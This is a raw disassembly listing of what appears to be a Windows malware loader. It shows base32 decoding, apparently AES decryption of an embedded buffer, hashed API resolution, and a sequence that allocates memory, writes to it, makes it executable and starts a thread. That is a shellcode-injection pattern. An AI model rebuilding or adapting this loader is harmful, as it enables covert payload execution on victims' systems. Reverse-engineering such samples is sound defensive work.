je 0x14000421b
mov rsi, rax
add rax, 0xfffffffffffffeb0
je 0x14000421b
mov rcx, qword [rsi - 0xd8]
mov rdx, qword [rsi - 0xc8]
mov r8, r13
mov r9, rdi
call fcn.140006aa1
test al, al
je 0x140004195
mov esi, dword [rsi - 0x90]
mov rdx, qword [rsp + 0x128]
cmp rdx, qword [rsp + 0x120]
jne 0x1400041f7
lea rcx, [rsp + 0x118]
call fcn.140007c12
mov rdx, qword [rsp + 0x128]
mov rax, qword [rsp + 0x118]
mov qword [rax + rdx*8], rsi
inc rdx
mov qword [rsp + 0x128], rdx
mov r13, qword [r15 + 0x28]
mov rdi, qword [r15 + 0x30]
jmp 0x140004195
mov edx, 8
mov rcx, r15
call fcn.140005530
mov r15, qword [rsp + 0x118]
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x608], rax
mov rdi, qword [rsp + 0x128]
test rbp, rbp
mov r13, qword [rsp + 0xa8]
je 0x1400042b6
mov rcx, qword [rsp + 0x610]
test rcx, rcx
je 0x1400042a5
movdqa xmm0, xmmword [r14]
pmovmskb eax, xmm0
not eax
lea rsi, [rsp + 0x410]
mov word [rsi + 0x18], ax
mov qword [rsi], r14
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], r12
mov qword [rsi + 0x20], rcx
mov rcx, rsi
call fcn.140012f2b
test rax, rax
je 0x1400042a5
add rax, 0xfffffffffffffeb0
mov rcx, rax
call fcn.14000e2ab
jmp 0x140004288
mov r8d, 0x158
mov rcx, r14
mov rdx, rbp
call fcn.1400016ea
mov rcx, qword [rsp + 0x640]
mov rdx, qword [rsp + 0x648]
call fcn.140005bda
mov rcx, qword [rsp + 0x650]
test rcx, rcx
je 0x1400042e5
mov rdx, qword [rsp + 0x618]
call fcn.140005bda
mov rcx, qword [rsp + 0x658]
mov rdx, qword [rsp + 0x1c8]
call fcn.140005bda
mov rcx, qword [rsp + 0x1d0]
mov rdx, qword [rsp + 0x1d8]
call fcn.140005bda
mov rsi, qword [rsp + 0x1e0]
mov rcx, rsi
mov rdx, qword [rsp + 0x168]
call fcn.140012e13
mov rcx, rsi
mov rdx, qword [rsp + 0xe0]
call fcn.140012e7d
mov rsi, qword [rsp + 0xb8]
mov rcx, rsi
mov rdx, qword [rsp + 0x100]
call fcn.140012cff
mov rcx, rsi
mov rdx, qword [rsp + 0x108]
call fcn.140012e69
mov rsi, qword [rsp + 0xf0]
mov rcx, rsi
mov rdx, qword [rsp + 0xe8]
call fcn.14000e1d0
mov rcx, rsi
mov rdx, qword [rsp + 0xf8]
call fcn.14000e229
mov r12, qword [rsp + 0xa0]
test r12, r12
mov rbp, qword [rsp + 0xc0]
je 0x14000446d
lea rbx, [r12 + r13]
inc rbx
movdqa xmm0, xmmword [r12]
pmovmskb eax, xmm0
not eax
lea r14, [r12 + 0x10]
lea rsi, [rsp + 0x410]
mov qword [rsi], r12
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], rbx
mov word [rsi + 0x18], ax
mov qword [rsi + 0x20], rbp
mov rcx, rsi
call fcn.140012ecd
test rax, rax
je 0x1400043eb
mov rcx, qword [rax - 8]
call sub.pdh.dll_PdhRemoveCounter
jmp 0x1400043d3
mov rcx, qword [rsp + 0x620]
test rcx, rcx
je 0x1400043fd
call sub.KERNEL32.dll_CloseHandle
mov rcx, qword [rsp + 0x628]
test rcx, rcx
je 0x14000440f
call sub.pdh.dll_PdhCloseQuery
test r13, r13
je 0x14000446d
test rbp, rbp
je 0x14000445c
movdqa xmm0, xmmword [r12]
pmovmskb eax, xmm0
not eax
lea rsi, [rsp + 0x410]
mov qword [rsi], r12
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], rbx
mov word [rsi + 0x18], ax
mov qword [rsi + 0x20], rbp
mov rcx, rsi
call fcn.140012ecd
test rax, rax
je 0x14000445c
mov rcx, qword [rax - 0x20]
mov rdx, qword [rax - 0x18]
call fcn.140005bda
jmp 0x140004440
mov r8d, 0x20
mov rcx, r12
mov rdx, r13
call fcn.140012ea5
mov r14, qword [rsp + 0x70]
test r14, r14
je 0x1400044ec
mov r8, qword [rsp + 0x630]
test r8, r8
mov rbx, qword [rsp + 0x638]
je 0x1400044db
lea rax, [r14 + rbx]
inc rax
movdqa xmm0, xmmword [rbx]
pmovmskb ecx, xmm0
not ecx
lea rdx, [rbx + 0x10]
lea rsi, [rsp + 0x410]
mov qword [rsi], rbx
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], rax
mov word [rsi + 0x18], cx
mov qword [rsi + 0x20], r8
mov rcx, rsi
call fcn.140012810
test rax, rax
je 0x1400044db
mov rcx, qword [rax - 0x88]
mov rdx, qword [rax - 0x80]
call fcn.140005bda
jmp 0x1400044bc
mov r8d, 0x88
mov rcx, rbx
mov rdx, r14
call fcn.1400016ea
mov rsi, qword [rsp + 0x90]
mov rcx, rsi
mov rdx, qword [rsp + 0x80]
call fcn.140012dce
mov rcx, rsi
mov rdx, qword [rsp + 0x78]
call fcn.140012e91
test rdi, rdi
je 0x14000546a
lea rax, [r15 + rdi*8]
movdqa xmm6, xmmword [section..rdata]
movdqa xmm7, xmmword [0x14001e010]
movdqa xmm8, xmmword [0x14001e020]
xorps xmm9, xmm9
mov qword [rsp + 0x1c8], r15
mov qword [rsp + 0x1d0], rax
cmp r15, rax
je 0x140005306
mov qword [rsp + 0x168], r15
mov rdi, qword [rsp + 0xc8]
mov r8, qword [rsp + 0xd8]
lea rcx, [rsp + 0x410]
mov rdx, rdi
call fcn.140006d14
cmp qword [rsp + 0x410], 0
jne 0x140005461
mov rsi, qword [rsp + 0x418]
mov r15, qword [rsp + 0x420]
cmp r15, 8
movabs rdx, 0x8080808080808080
jb 0x1400045ec
lea rcx, [rsi + 7]
and rcx, 0xfffffffffffffff8
mov rax, rcx
sub rax, rsi
cmp rax, r15
ja 0x1400045ec
test qword [rsi], rdx
jne 0x140005461
cmp rcx, rsi
mov ecx, 8
cmove rax, rcx
lea rcx, [r15 - 8]
cmp rax, rcx
jae 0x140004607
test qword [rsi + rax], rdx
jne 0x140005461
add rax, 8
jmp 0x1400045d7
mov rcx, r15
mov rax, r15
sub rax, 1
jb 0x140004611
cmp byte [rsi + rcx - 1], 0
mov rcx, rax
jns 0x1400045f2
jmp 0x140005461
test qword [rsi + rcx], rdx
jne 0x140005461
cmp r15, 6
mov ecx, 6
cmovb rcx, r15
mov rax, qword [rsp + 0x168]
lea r8, [rax + 8]
mov rax, r15
sub rax, rcx
mov rdx, r15
mov qword [rsp + 0x1d8], r8
sub rcx, 1
jb 0x140004650
cmp byte [rsi + rdx - 1], 0x3d
jne 0x14000464d
dec rdx
jmp 0x14000463b
mov rax, rdx
lea r14, [rax + rax*4]
shr r14, 3
lea rax, [r14 + 4]
xor edx, edx
mov ecx, 5
div rcx
neg rdx
lea rcx, [r14 + rdx]
add rcx, 4
xor edx, edx
call fcn.140005bee
mov qword [rsp + 0x410], rax
mov qword [rsp + 0x418], rdx
and qword [rsp + 0x420], 0
test r15, r15
je 0x1400047cf
cmp r15, 8
mov eax, 8
cmovb rax, r15
lea r13, [rsi + rax]
sub r15, rax
and qword [rsp + 0x1f0], 0
xor ecx, ecx
lea r9, [0x14001e3a0]
cmp rax, rcx
je 0x14000470b
mov r8b, byte [rsi + rcx]
lea edx, [r8 - 0x61]
cmp dl, 0x1a
setb dl
shl dl, 5
xor dl, r8b
add dl, 0xd0
cmp dl, 0x2a
ja 0x14000544c
movzx edx, dl
mov dl, byte [rdx + r9]
cmp dl, 0xff
je 0x14000544c
cmp rcx, 8
je 0x140005461
mov byte [rsp + rcx + 0x1f0], dl
inc rcx
jmp 0x1400046c0
movq xmm0, qword [rsp + 0x1f0]
movdqa xmmword [rsp + 0x1b0], xmm0
mov al, byte [rsp + 0x1b0]
mov sil, byte [rsp + 0x1b1]
shl al, 3
mov edx, esi
shr dl, 2
or dl, al
lea rbx, [rsp + 0x410]
mov rcx, rbx
call fcn.140005f31
shl sil, 6
mov al, byte [rsp + 0x1b2]
add al, al
or al, sil
mov sil, byte [rsp + 0x1b3]
mov edx, esi
shr dl, 4
or dl, al
mov rcx, rbx
call fcn.140005f31
shl sil, 4
mov r12b, byte [rsp + 0x1b4]
mov edx, r12d
shr dl, 1
or dl, sil
mov rcx, rbx
call fcn.140005f31
shl r12b, 7
mov al, byte [rsp + 0x1b5]
shl al, 2
or al, r12b
mov sil, byte [rsp + 0x1b6]
mov edx, esi
shr dl, 3
or dl, al
mov rcx, rbx
call fcn.140005f31
shl sil, 5
or sil, byte [rsp + 0x1b7]
mov rcx, rbx
mov edx, esi
call fcn.140005f31
mov rsi, r13
jmp 0x140004691
mov rsi, qword [rsp + 0x410]
mov rax, qword [rsp + 0x420]
cmp rax, r14
cmovb r14, rax
mov qword [rsp + 0x420], r14
lea rax, [rsp + 0x418]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x1f0], xmm0
test rsi, rsi
je 0x140005461
movaps xmm0, xmmword [rsp + 0x1f0]
movaps xmmword [rsp + 0x410], xmm0
mov rdx, qword [rsp + 0xd0]
mov rcx, rdi
call fcn.140005bda
mov qword [rsp + 0xc8], rsi
movdqa xmm0, xmmword [rsp + 0x410]
lea rax, [rsp + 0xd0]
movdqu xmmword [rax], xmm0
movdqu xmmword [rsp + 0x380], xmm6
movdqu xmmword [rsp + 0x390], xmm7
movdqu xmmword [rsp + 0x130], xmm8
mov r8d, 0xf1
lea rsi, [rsp + 0x6d0]
mov rcx, rsi
xor edx, edx
call sub.msvcrt.dll_memset
lea rbx, [rsp + 0x380]
mov rcx, rbx
mov rdx, rsi
call fcn.140007cb6
mov r8d, 0xf1
lea rsi, [rsp + 0x1f0]
mov rcx, rsi
xor edx, edx
call sub.msvcrt.dll_memset
mov rcx, rbx
mov rdx, rsi
call fcn.140007cb6
movzx eax, byte [rsp + 0x2e0]
lea rax, [rax*4 + 3]
mov ecx, 3
lea rsi, [0x14001f128]
mov r15d, 0xff
lea rdx, [rax - 3]
lea r8, [rcx - 3]
cmp r8, rdx
jae 0x1400049a3
cmp r8, 0x3c
jae 0x140005461
cmp rdx, 0x3c
jae 0x140005461
mov edx, dword [rsp + rcx*4 + 0x1e4]
mov r8d, dword [rsp + rax*4 + 0x1e4]
mov dword [rsp + rcx*4 + 0x1e4], r8d
mov dword [rsp + rax*4 + 0x1e4], edx
lea rdx, [rax - 2]
cmp rdx, 0x3c
jae 0x140005461
mov edx, dword [rsp + rcx*4 + 0x1e8]
mov r8d, dword [rsp + rax*4 + 0x1e8]
mov dword [rsp + rcx*4 + 0x1e8], r8d
mov dword [rsp + rax*4 + 0x1e8], edx
lea rdx, [rax - 1]
cmp rdx, 0x3c
jae 0x140005461
mov edx, dword [rsp + rcx*4 + 0x1ec]
mov r8d, dword [rsp + rax*4 + 0x1ec]
mov dword [rsp + rcx*4 + 0x1ec], r8d
mov dword [rsp + rax*4 + 0x1ec], edx
cmp rax, 0x3c
jae 0x140005461
mov edx, dword [rsp + rcx*4 + 0x1f0]
mov r8d, dword [rsp + rax*4 + 0x1f0]
mov dword [rsp + rcx*4 + 0x1f0], r8d
mov dword [rsp + rax*4 + 0x1f0], edx
add rax, 0xfffffffffffffffc
add rcx, 4
jmp 0x1400048d3
mov al, 1
mov ecx, 7
mov r11b, byte [rsp + 0x2e0]
lea rdx, [rsp + 0x6d0]
mov r8d, eax
cmp al, r11b
adc al, 0
cmp r8b, r11b
jae 0x140004b47
cmp rcx, 0x3f
je 0x140005461
mov r8d, dword [rsp + rcx*4 + 0x1e4]
mov r9d, r8d
shr r9d, 0x18
movzx r9d, byte [rsi + r9*4]
mov r10d, r8d
shr r10d, 0x10
mov ebp, 0xff
and r10d, ebp
movzx r10d, byte [rsi + r10*4]
lea r14, [0x14001f950]
mov r10d, dword [r14 + r10*4]
lea rbx, [0x14001f550]
xor r10d, dword [rbx + r9*4]
mov r9d, r8d
shr r9d, 8
and r9d, ebp
movzx r9d, byte [rsi + r9*4]
lea rdi, [0x14001fd50]
xor r10d, dword [rdi + r9*4]
and r8, r15
movzx r8d, byte [rsi + r8*4]
lea r12, [0x140020150]
xor r10d, dword [r12 + r8*4]
mov r8d, dword [rsp + rcx*4 + 0x1e8]
mov dword [rsp + rcx*4 + 0x1e4], r10d
mov r9d, r8d
shr r9d, 0x18
movzx r9d, byte [rsi + r9*4]
mov r10d, r8d
shr r10d, 0x10
and r10d, ebp
movzx r10d, byte [rsi + r10*4]
mov r10d, dword [r14 + r10*4]
xor r10d, dword [rbx + r9*4]
mov r9d, r8d
shr r9d, 8
and r9d, ebp
movzx r9d, byte [rsi + r9*4]
xor r10d, dword [rdi + r9*4]
and r8, r15
movzx r8d, byte [rsi + r8*4]
xor r10d, dword [r12 + r8*4]
mov dword [rsp + rcx*4 + 0x1e8], r10d
mov r8d, dword [rsp + rcx*4 + 0x1ec]
mov r9d, r8d
shr r9d, 0x18
movzx r9d, byte [rsi + r9*4]
mov r10d, r8d
shr r10d, 0x10
and r10d, ebp
movzx r10d, byte [rsi + r10*4]
mov r10d, dword [r14 + r10*4]
xor r10d, dword [rbx + r9*4]
mov r9d, r8d
shr r9d, 8
and r9d, ebp
movzx r9d, byte [rsi + r9*4]
xor r10d, dword [rdi + r9*4]
and r8, r15
movzx r8d, byte [rsi + r8*4]
xor r10d, dword [r12 + r8*4]
mov dword [rsp + rcx*4 + 0x1ec], r10d
mov r8d, dword [rsp + rcx*4 + 0x1f0]
mov r9d, r8d
shr r9d, 0x18
movzx r9d, byte [rsi + r9*4]
mov r10d, r8d
shr r10d, 0x10
and r10d, ebp
movzx r10d, byte [rsi + r10*4]
mov r10d, dword [r14 + r10*4]
xor r10d, dword [rbx + r9*4]
mov r9d, r8d
shr r9d, 8
and r9d, ebp
movzx r9d, byte [rsi + r9*4]
xor r10d, dword [rdi + r9*4]
and r8, r15
movzx r8d, byte [rsi + r8*4]
xor r10d, dword [r12 + r8*4]
mov dword [rsp + rcx*4 + 0x1f0], r10d
add rcx, 4
jmp 0x1400049ba
mov r8d, 0xf4
lea rcx, [rsp + 0x410]
call sub.msvcrt.dll_memcpy
mov r8d, 0xf4
lea rcx, [rsp + 0x504]
lea rdx, [rsp + 0x1f0]
call sub.msvcrt.dll_memcpy
mov byte [rsp + 0x5f8], 1
mov r12, qword [rsp + 0xc8]
mov rbx, qword [rsp + 0xd8]
test bl, 0xf
je 0x140004ba2
mov r14d, 1
xor ebx, ebx
xor r15d, r15d
jmp 0x140005077
mov rcx, rbx
xor edx, edx
call fcn.140005bee
mov r14, rax
mov r15, rdx
mov rcx, rax
mov rdx, r12
mov r8, rbx
call sub.msvcrt.dll_memcpy
mov rcx, rbx
shr rcx, 4
mov eax, dword [rsp + 0x504]
mov dword [rsp + 0xc0], eax
mov eax, dword [rsp + 0x508]
mov dword [rsp + 0xb8], eax
mov eax, dword [rsp + 0x50c]
mov dword [rsp + 0x108], eax
mov eax, dword [rsp + 0x510]
mov dword [rsp + 0x100], eax
mov al, byte [rsp + 0x5f4]
shr al, 1
dec al
mov byte [rsp + 0xf8], al
mov rdx, r14
xor r8d, r8d
lea rax, [rsp + 0x130]
mov qword [rsp + 0xf0], rbx
mov qword [rsp + 0xe8], r14
mov qword [rsp + 0xe0], r15
mov qword [rsp + 0x1e0], r12
sub rcx, 1
jb 0x14000504d
cmp r8, 0xfffffffffffffff0
je 0x140005461
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x90], rdx
mov qword [rsp + 0x78], rcx
lea rax, [r8 + 0x10]
mov qword [rsp + 0xa0], rax
cmp rax, rbx
ja 0x140005461
mov r15d, dword [r14 + r8]
mov r12d, dword [r14 + r8 + 4]
bswap r15d
xor r15d, dword [rsp + 0xc0]
bswap r12d
xor r12d, dword [rsp + 0xb8]
mov ecx, dword [r14 + r8 + 8]
bswap ecx
xor ecx, dword [rsp + 0x108]
mov qword [rsp + 0xa8], r8
mov ebx, dword [r14 + r8 + 0xc]
bswap ebx
xor ebx, dword [rsp + 0x100]
mov eax, 0x3c
lea r9, [rsp + 0x530]
mov r11b, byte [rsp + 0xf8]
cmp rax, 4
jbe 0x140005461
mov qword [rsp + 0x70], rax
mov eax, r15d
shr eax, 0x18
mov r8d, ebx
shr r8d, 0x10
mov edx, 0xff
and r8d, edx
lea rdi, [0x14001f950]
mov r10d, dword [rdi + r8*4]
lea r14, [0x14001f550]
xor r10d, dword [r14 + rax*4]
mov eax, ecx
shr eax, 8
and eax, edx
lea rbp, [0x14001fd50]
xor r10d, dword [rbp + rax*4]
mov eax, r12d
and eax, edx
lea r13, [0x140020150]
xor r10d, dword [r13 + rax*4]
xor r10d, dword [r9 - 0x1c]
mov eax, r12d
shr eax, 0x18
mov r8d, r15d
shr r8d, 0x10
and r8d, edx
mov r8d, dword [rdi + r8*4]
xor r8d, dword [r14 + rax*4]
mov eax, ebx
shr eax, 8
and eax, edx
xor r8d, dword [rbp + rax*4]
mov eax, ecx
and eax, edx
xor r8d, dword [r13 + rax*4]
xor r8d, dword [r9 - 0x18]
mov esi, ecx
shr esi, 0x18
mov eax, r12d
shr eax, 0x10
and eax, edx
mov eax, dword [rdi + rax*4]
xor eax, dword [r14 + rsi*4]
mov esi, r15d
shr esi, 8
and esi, edx
xor eax, dword [rbp + rsi*4]
mov esi, ebx
and esi, edx
xor eax, dword [r13 + rsi*4]
xor eax, dword [r9 - 0x14]
shr ebx, 0x18
shr ecx, 0x10
and ecx, edx
mov esi, dword [rdi + rcx*4]
xor esi, dword [r14 + rbx*4]
shr r12d, 8
and r12d, edx
xor esi, dword [rbp + r12*4]
and r15d, edx
xor esi, dword [r13 + r15*4]
xor esi, dword [r9 - 0x10]
sub r11b, 1
jb 0x140004eb2
cmp qword [rsp + 0x70], 8
je 0x140005461
mov ecx, r8d
and ecx, edx
mov ebx, eax
shr ebx, 8
and ebx, edx
lea rbp, [0x14001fd50]
mov r15d, dword [rbp + rbx*4]
mov ebx, esi
shr ebx, 0x10
and ebx, edx
mov r12d, r10d
shr r12d, 0x18
lea r13, [0x140020150]
xor r15d, dword [r13 + rcx*4]
lea rdi, [0x14001f950]
xor r15d, dword [rdi + rbx*4]
lea r14, [0x14001f550]
xor r15d, dword [r14 + r12*4]
xor r15d, dword [r9 - 0xc]
mov ecx, r8d
shr ecx, 0x18
mov ebx, r10d
shr ebx, 0x10
and ebx, edx
mov r12d, dword [rdi + rbx*4]
xor r12d, dword [r14 + rcx*4]
mov ecx, esi
shr ecx, 8
and ecx, edx
xor r12d, dword [rbp + rcx*4]
mov ecx, eax
and ecx, edx
xor r12d, dword [r13 + rcx*4]
xor r12d, dword [r9 - 8]
mov ebx, eax
shr ebx, 0x18
mov ecx, r8d
shr ecx, 0x10
and ecx, edx
mov ecx, dword [rdi + rcx*4]
xor ecx, dword [r14 + rbx*4]
mov ebx, r10d
shr ebx, 8
and ebx, edx
xor ecx, dword [rbp + rbx*4]
mov ebx, esi
and ebx, edx
xor ecx, dword [r13 + rbx*4]
xor ecx, dword [r9 - 4]
shr esi, 0x18
shr eax, 0x10
and eax, edx
mov ebx, dword [rdi + rax*4]
xor ebx, dword [r14 + rsi*4]
shr r8d, 8
and r8d, edx
xor ebx, dword [rbp + r8*4]
and r10d, edx
mov rax, qword [rsp + 0x70]
xor ebx, dword [r13 + r10*4]
xor ebx, dword [r9]
add r9, 0x20
add rax, 0xfffffffffffffff8
jmp 0x140004cd5
cmp qword [rsp + 0x70], 8
mov rbx, qword [rsp + 0xf0]
mov r14, qword [rsp + 0xe8]
mov r15, qword [rsp + 0xe0]
mov r12, qword [rsp + 0x1e0]
je 0x140005461
mov ecx, r8d
mov r11d, 0xff
and ecx, r11d
lea rdi, [0x140020550]
movzx ecx, byte [rcx + rdi]
shl ecx, 0x18
mov edx, eax
shr edx, 8
and edx, r11d
movzx edx, byte [rdx + rdi]
shl edx, 0x10
or edx, ecx
mov ecx, esi
shr ecx, 0x10
and ecx, r11d
movzx ecx, byte [rcx + rdi]
shl ecx, 8
or ecx, edx
mov edx, r10d
shr edx, 0x18
movzx edx, byte [rdx + rdi]
or edx, ecx
mov ecx, dword [r9 - 0xc]
bswap ecx
xor ecx, edx
mov r13, qword [rsp + 0xa8]
mov dword [r14 + r13], ecx
mov ecx, eax
and ecx, r11d
movzx ecx, byte [rcx + rdi]
shl ecx, 0x18
mov edx, esi
shr edx, 8
and edx, r11d
movzx edx, byte [rdx + rdi]
shl edx, 0x10
or edx, ecx
mov ecx, r10d
shr ecx, 0x10
and ecx, r11d
movzx ecx, byte [rcx + rdi]
shl ecx, 8
or ecx, edx
mov edx, r8d
shr edx, 0x18
movzx edx, byte [rdx + rdi]
or edx, ecx
mov ecx, dword [r9 - 8]
bswap ecx
xor ecx, edx
mov dword [r14 + r13 + 4], ecx
mov ecx, esi
and ecx, r11d
movzx ecx, byte [rcx + rdi]
shl ecx, 0x18
mov edx, r10d
shr edx, 8
and edx, r11d
movzx edx, byte [rdx + rdi]
shl edx, 0x10
or edx, ecx
mov ecx, r8d
shr ecx, 0x10
and ecx, r11d
movzx ecx, byte [rcx + rdi]
shl ecx, 8
or ecx, edx
mov edx, eax
shr edx, 0x18
movzx edx, byte [rdx + rdi]
or edx, ecx
mov ecx, dword [r9 - 4]
bswap ecx
xor ecx, edx
mov dword [r14 + r13 + 8], ecx
and r10d, r11d
movzx ecx, byte [r10 + rdi]
shl ecx, 0x18
shr r8d, 8
and r8d, r11d
movzx edx, byte [r8 + rdi]
shl edx, 0x10
or edx, ecx
shr eax, 0x10
and eax, r11d
movzx eax, byte [rax + rdi]
shl eax, 8
or eax, edx
shr esi, 0x18
movzx ecx, byte [rsi + rdi]
or ecx, eax
mov eax, dword [r9]
mov r9, r13
bswap eax
xor eax, ecx
mov dword [r14 + r13 + 0xc], eax
xor eax, eax
mov rdx, qword [rsp + 0x90]
mov r8, qword [rsp + 0x80]
cmp rax, 0x10
je 0x140005031
mov cl, byte [r8 + rax]
xor byte [rdx + rax], cl
inc rax
jmp 0x14000501f
mov rax, r9
add rax, r12
add rdx, 0x10
mov r8, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
jmp 0x140004c3f
cmp byte [rsp + 0x5f8], 0
je 0x14000506f
cmp rbx, 0x10
jb 0x14000506f
movzx eax, byte [rbx + r14 - 1]
sub rbx, rax
mov eax, 0
cmovb rbx, rax
mov r12, qword [rsp + 0xc8]
mov rdx, qword [rsp + 0xd0]
mov rcx, r12
call fcn.140005bda
mov qword [rsp + 0xc8], r14
mov qword [rsp + 0xd0], r15
mov qword [rsp + 0xd8], rbx
lea rcx, [rsp + 0x1f0]
mov rdx, r14
mov r8, rbx
call fcn.140005e42
mov rax, qword [rsp + 0x168]
mov rax, qword [rax]
mov qword [rsp + 0x118], rax
movaps xmmword [rsp + 0x430], xmm9
movaps xmmword [rsp + 0x420], xmm9
movaps xmmword [rsp + 0x410], xmm9
mov qword [rsp + 0x6d0], rax
and qword [rsp + 0x6d8], 0
mov ecx, 0x4b82f718
call fcn.14000b126
lea rcx, [rsp + 0x6d0]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x410]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0x7f
mov ecx, eax
mov r8d, 4
lea r9, [rsp + 0x118]
call fcn.140001510
test eax, eax
js 0x14000546a
and qword [rsp + 0x660], 0
mov rsi, qword [rsp + 0x200]
mov qword [rsp + 0x698], rsi
mov ecx, 0xf783b8ec
call fcn.14000b126
mov r9, qword [rsp + 0x118]
lea rcx, [rsp + 0x698]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x660]
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x40], 4
mov dword [rsp + 0x38], 0x3000
and dword [rsp + 0x28], 0
mov ecx, eax
mov r8d, 6
call fcn.140001510
test eax, eax
js 0x14000546a
and dword [rsp + 0x9c], 0
mov rdi, qword [rsp + 0x1f0]
mov qword [rsp + 0x340], rsi
mov ecx, 0xc3170192
call fcn.14000b126
mov r9, qword [rsp + 0x118]
mov rcx, qword [rsp + 0x660]
lea r8, [rsp + 0x9c]
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rcx
mov ecx, eax
mov r8d, 5
call fcn.140001510
test eax, eax
js 0x14000546a
mov esi, eax
mov dword [rsp + 0xb0], 4
mov ecx, 0x50e92888
call fcn.14000b126
mov r9, qword [rsp + 0x118]
lea rcx, [rsp + 0xb0]
mov qword [rsp + 0x38], rcx
lea rcx, [rsp + 0x340]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x660]
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x30], 0x40
mov ecx, eax
mov r8d, 5
call fcn.140001510
test eax, eax
js 0x14000546a
and qword [rsp + 0x170], 0
mov rbx, qword [rsp + 0x118]
mov ecx, 0xaf18cfb0
call fcn.14000b126
mov rcx, qword [rsp + 0x660]
movups xmmword [rsp + 0x60], xmm9
movups xmmword [rsp + 0x50], xmm9
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x48], 4
and qword [rsp + 0x40], 0
and qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1fffff
mov ecx, eax
mov r8d, 0xb
lea r9, [rsp + 0x170]
call fcn.140001510
test esi, esi
jne 0x14000546a
mov rdx, qword [rsp + 0x1f8]
mov rcx, rdi
call fcn.140005bda
mov r15, qword [rsp + 0x1d8]
mov rax, qword [rsp + 0x1d0]
jmp 0x14000454b
cmp qword [rsp + 0x608], 0
je 0x140005323
mov edx, 8
mov rcx, qword [rsp + 0x1c8]
call fcn.140005530
mov rcx, qword [rsp + 0xc8]
mov rdx, qword [rsp + 0xd0]
call fcn.140005bda
movaps xmm6, xmmword [rsp + 0x7d0]
movaps xmm7, xmmword [rsp + 0x7e0]
movaps xmm8, xmmword [rsp + 0x7f0]
movaps xmm9, xmmword [rsp + 0x800]
add rsp, 0x818
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r15, [rsp + 0x668]
movd xmm8, dword [rsp + 0x380]
movss xmm9, dword [rsp + 0x388]
mov esi, 8
mov ecx, 8
call fcn.14000ba2c
mov rdi, rax
movabs rax, 0x72657475706d6f43
mov qword [rdi], rax
mov r14, qword [r15 - 8]
movdqu xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
movaps xmmword [rsp + 0x6f0], xmm2
movaps xmmword [rsp + 0x6e0], xmm1
movdqa xmmword [rsp + 0x6d0], xmm0
cmp r14, 3
je 0x14000218e
mov rbx, rdx
mov ecx, 0x60
mov edx, 8
call fcn.14000ea16
mov rsi, rax
mov qword [rax], r14
movdqa xmm0, xmmword [rsp + 0x6d0]
movaps xmm1, xmmword [rsp + 0x6e0]
movaps xmm2, xmmword [rsp + 0x6f0]
movdqu xmmword [rax + 8], xmm0
movups xmmword [rax + 0x18], xmm1
movups xmmword [rax + 0x28], xmm2
mov dword [rax + 0x38], ebp
movss dword [rax + 0x3c], xmm9
mov qword [rax + 0x40], rdi
mov qword [rax + 0x48], rbx
mov qword [rax + 0x50], 8
movd dword [rax + 0x58], xmm8
movd dword [rax + 0x5c], xmm8
mov edi, 1
jmp 0x140002190
mov rcx, qword [rsp + 0x410]
mov rdx, qword [rsp + 0x418]
call fcn.140005bda
ud2
test rax, rax
jmp 0x140005461
call fcn.14000d9de
ud2